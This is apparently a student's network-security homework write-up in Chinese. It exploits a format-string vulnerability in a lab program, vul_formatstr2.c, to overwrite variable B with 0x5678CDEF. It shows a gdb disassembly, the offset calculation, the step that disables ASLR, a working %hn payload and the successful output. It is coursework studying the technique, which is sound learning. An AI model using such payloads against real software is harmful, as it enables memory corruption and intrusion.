网络安全作业8

题目:在32位的ubuntu16.04运行环境下,对格式化漏洞程序vul_formatstr2.c,参照 12.2.4的方法,说明如何修改程序,将变量B的值改成0x5678CDEF。

在Ubuntu 64位系统上,使用以下命令来安装gcc多架构编译器和32位库:

sudo apt-get install gcc-multilib libc6-dev-i386

在编译C程序时,使用-m32选项来生成32位的可执行文件。例如: gcc -m32 -o v2 vul_formatstr2.c

azureuser@MyServer:~/hw$ gdb v2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
   0x0000122d <+0>:     endbr32 
   0x00001231 <+4>:     push   %ebp
   0x00001232 <+5>:     mov    %esp,%ebp
   0x00001234 <+7>:     push   %ebx
   0x00001235 <+8>:     sub    $0x414,%esp
   0x0000123b <+14>:    call   0x1130 <__x86.get_pc_thunk.bx>
   0x00001240 <+19>:    add    $0x2d8c,%ebx
   0x00001246 <+25>:    mov    %gs:0x14,%eax
   0x0000124c <+31>:    mov    %eax,-0xc(%ebp)
   0x0000124f <+34>:    xor    %eax,%eax
   0x00001251 <+36>:    movl   $0x3435,-0x418(%ebp)
   0x0000125b <+46>:    movl   $0x5657,-0x414(%ebp)
   0x00001265 <+56>:    movl   $0x7879,-0x410(%ebp)
   0x0000126f <+66>:    lea    -0x410(%ebp),%eax
   0x00001275 <+72>:    push   %eax
   0x00001276 <+73>:    lea    -0x414(%ebp),%eax
   0x0000127c <+79>:    push   %eax
   0x0000127d <+80>:    lea    -0x418(%ebp),%eax
   0x00001283 <+86>:    push   %eax
   0x00001284 <+87>:    lea    -0x1fc4(%ebx),%eax
   0x0000128a <+93>:    push   %eax
   0x0000128b <+94>:    call   0x10a0 <printf@plt>
   0x00001290 <+99>:    add    $0x10,%esp
   0x00001293 <+102>:   mov    -0x410(%ebp),%ecx
   0x00001299 <+108>:   mov    -0x414(%ebp),%edx
   0x0000129f <+114>:   mov    -0x418(%ebp),%eax
   0x000012a5 <+120>:   push   %ecx
   0x000012a6 <+121>:   push   %edx
   0x000012a7 <+122>:   push   %eax
   0x000012a8 <+123>:   lea    -0x1fab(%ebx),%eax
   0x000012ae <+129>:   push   %eax
   0x000012af <+130>:   call   0x10a0 <printf@plt>
   0x000012b4 <+135>:   add    $0x10,%esp
   0x000012b7 <+138>:   sub    $0xc,%esp
   0x000012ba <+141>:   lea    -0x1f94(%ebx),%eax
   0x000012c0 <+147>:   push   %eax
   0x000012c1 <+148>:   call   0x10c0 <puts@plt>
   0x000012c6 <+153>:   add    $0x10,%esp
   0x000012c9 <+156>:   sub    $0x8,%esp
   0x000012cc <+159>:   lea    -0x40c(%ebp),%eax
   0x000012d2 <+165>:   push   %eax
   0x000012d3 <+166>:   lea    -0x1f7d(%ebx),%eax
   0x000012d9 <+172>:   push   %eax
   0x000012da <+173>:   call   0x10e0 <__isoc99_scanf@plt>
   0x000012df <+178>:   add    $0x10,%esp
   0x000012e2 <+181>:   sub    $0xc,%esp
   0x000012e5 <+184>:   lea    -0x40c(%ebp),%eax
   0x000012eb <+190>:   push   %eax
   0x000012ec <+191>:   call   0x10a0 <printf@plt>
   0x000012f1 <+196>:   add    $0x10,%esp
   0x000012f4 <+199>:   sub    $0xc,%esp
   0x000012f7 <+202>:   lea    -0x1f7a(%ebx),%eax
   0x000012fd <+208>:   push   %eax
   0x000012fe <+209>:   call   0x10c0 <puts@plt>
   0x00001303 <+214>:   add    $0x10,%esp
   0x00001306 <+217>:   mov    -0x410(%ebp),%ecx
   0x0000130c <+223>:   mov    -0x414(%ebp),%edx
   0x00001312 <+229>:   mov    -0x418(%ebp),%eax
   0x00001318 <+235>:   push   %ecx
   0x00001319 <+236>:   push   %edx
   0x0000131a <+237>:   push   %eax
   0x0000131b <+238>:   lea    -0x1f78(%ebx),%eax
   0x00001321 <+244>:   push   %eax
   0x00001322 <+245>:   call   0x10a0 <printf@plt>
   0x00001327 <+250>:   add    $0x10,%esp
   0x0000132a <+253>:   nop
   0x0000132b <+254>:   mov    -0xc(%ebp),%eax
   0x0000132e <+257>:   xor    %gs:0x14,%eax
   0x00001335 <+264>:   je     0x133c <formatstr_vul+271>
   0x00001337 <+266>:   call   0x13f0 <__stack_chk_fail_local>
   0x0000133c <+271>:   mov    -0x4(%ebp),%ebx
   0x0000133f <+274>:   leave  
   0x00001340 <+275>:   ret    

End of assembler dump. (gdb) b *(formatstr_vul+191) Breakpoint 1 at 0x12ec (gdb) r Starting program: /home/azureuser/hw/v2 &A=0xffffcde0 &B=0xffffcde4 C=0xffffcde8. A=0x3435 B=0x5657 C=0x7879. Please enter a string: ABCD%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

Breakpoint 1, 0x565562ec in formatstr_vul () (gdb) x/x $esp 0xffffcdd0: 0xffffcdec (gdb) p (0xbfffcdec-0xbfffcdd0)/4 $1 = 7

因此,user_input的首地址为0xffffcdec,位于栈顶开始的第7个(4字 节)单元。

关闭地址随机化机制: sudo sysctl -w kernel.randomize_va_space=0

根据上面可知 &B=0xffffcde4=4294954468

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
azureuser@MyServer:~/hw$ ./read2file
Please enter an address.
4294954468
Please enter the format string:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The string length is 39
azureuser@MyServer:~/hw$ ./v2 < mystring
&A=0xffffce30   &B=0xffffce34   C=0xffffce38.
A=0x3435        B=0x5657        C=0x7879.
Please enter a string:
����ffffce3c.00005657.00007879.00003435.00005657.00007879.ffffcde4.
New values      A=0x3435        B=0x5657        C=0x7879.

变量B的地址送入堆栈,&B=0xffffce34 =4294954548

编译 read2file2.c azureuser@MyServer:~/hw$ gcc -m32 -o read2file2 read2file2.c

0xCDEF - 5*9 - 12 = 52662 0x5678 - 0xCDEF = -30583

当尝试计算0x5678 - 0xCDEF时得到了负数,这是因为0x5678小于0xCDEF。为了解决这个问题,可以利用无符号整数的环绕性质。

将负数-30583视为一个大的正数。具体来说,将-30583添加到2^16(即65536,因为%hn写入的是16位值)来得到一个正数:

65536−30583=34953

使用34953作为%hn的值来代替-30583

得到字符串: %08x.%08x.%08x.%08x.%08x.%.52662u%hn%.34953u%hn.%08x.%08x.

命令行输入到文件mystring中

1
2
3
4
5
6
azureuser@MyServer:~/hw$ ./read2file2
Please enter an address.
4294954548
Please enter the format string:
%08x.%08x.%08x.%08x.%08x.%.52662u%hn%.34953u%hn.%08x.%08x.
The string length is 70

将文件mystring作为输入重定向到漏洞程序,并将输出定向到 文件result.txt中:

1
2
3
azureuser@MyServer:~/hw$ ./v2 < mystring > result.txt
azureuser@MyServer:~/hw$ tail -n 1 result.txt
New values      A=0x3435        B=0x5678cdef    C=0x7879.